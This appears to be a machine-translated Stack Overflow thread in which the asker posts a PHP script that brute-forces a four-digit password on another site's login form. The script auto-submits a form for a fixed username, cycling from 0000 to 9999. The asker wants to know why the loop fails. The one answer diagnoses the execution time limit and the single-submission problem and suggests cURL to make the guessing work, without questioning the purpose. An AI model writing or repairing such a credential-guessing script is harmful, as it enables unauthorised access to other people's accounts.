-1

我有2个问题。这是我的脚本......

<?php

   echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">";
echo "<head>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />";
echo "<link href=\"/library/skin/tool_base.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<link href=\"/library/skin/default/tool.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />";
echo "<title>Etudes</title>";
echo "<script type=\"text/javascript\" language=\"JavaScript\" src=\"/library/js/headscripts.js\"></script>";
echo "</head>";
echo "<body>";

echo "<script type=\"text/javascript\" language=\"JavaScript\">";
echo "focus_path = [\"eid\"];";
echo "</script>";

echo "<form id=\"form\" method=\"post\" target='_blank' action=\"www.xxxxx.com" enctype=\"application/x-www-form-urlencoded\">";
echo "<table border=\"0\" class=\"loginform\" summary=\"layout\">";         
echo "<label for=\"eid\">User id</label>";                                      
echo "<input name=\"eid\" id=\"eid\"  type=\"text\" value=\"USERNAME\"/>";                                      
echo "<label for=\"pw\">Password</label>";

$pass1 = "0";
$pass2 = "0";
$pass3 = "0";
$pass4 = "0";

set_time_limit(0);

for($i = 0; $i < 2; $i++)
{
$pass = $pass1.$pass2.$pass3.$pass4;

echo "$pass";

echo "<input name=\"pw\" id=\"pw\"  type=\"password\" value=\"$pass\"/>";

echo "<script language=\"Javascript\" type=\"text/javascript\">";

echo "document.forms[\"form\"].submit();";

echo "</script>";

   $pass4 = $pass4 + 1; 

if($pass4 == 10)
{
    $pass3 = $pass3 + 1;
    $pass4 = 0;
}
if($pass3 == 10)
{
    $pass2 = $pass2 + 1;
    $pass3 = 0;
}
if($pass2 == 10)
{   
    $pass1 = $pass1 + 1;
    $pass2 = 0;
}
if($pass1 == 10)
{
    echo "Fail";
    break;
}
  usleep(10000000);
  flush();
  ob_flush;
}

?>                      
</table>                        
</form>                 

</table>

</body>
</html>

///////////////////////////////////////// ///////////////

问题1)我试过usleep()和sleep(),一开始工作了几次,执行文件,然后延迟时间,然后执行,然后延迟,等等。但是在第三次之后它没有工作。

问题2)如果我在没有循环的情况下登录“www.xxx.com”,它工作得很好,但是当我把它放在一个循环中时,例如(假设密码是0002):登录:用户名密码:0000

登录无效!

登录:用户名密码:0001

登录无效!

登录:用户名密码:0002

登录无效!

..仍然给我一个无效的登录!任何帮助将不胜感激:) 谢谢。

4

1 回答 1

1

问题 1)我认为您正在达到最大执行时间,这是 PHP 对脚本施加的可配置限制。PHP 脚本通常不是长期存在的程序。它们应该快速执行,一个页面浏览,一个脚本,因此作为一种安全措施(防止拒绝服务攻击),寿命超过 60 秒的脚本会被简单地中止。检查您的 php.ini 以获取该配置值。

问题 2)您是否注释掉了脚本的“提交”部分并检查了输出?我认为您的程序只打印表单的开头一次,然后尝试打印其余的 9999 次。此外,它只会在第一次工作,因为如果您提交表单,浏览器将简单地离开您的页面(和您的脚本),并且无法提交第二次。

您应该使用CURL从外部站点获取响应。

于 2012-05-28T01:48:30.997 回答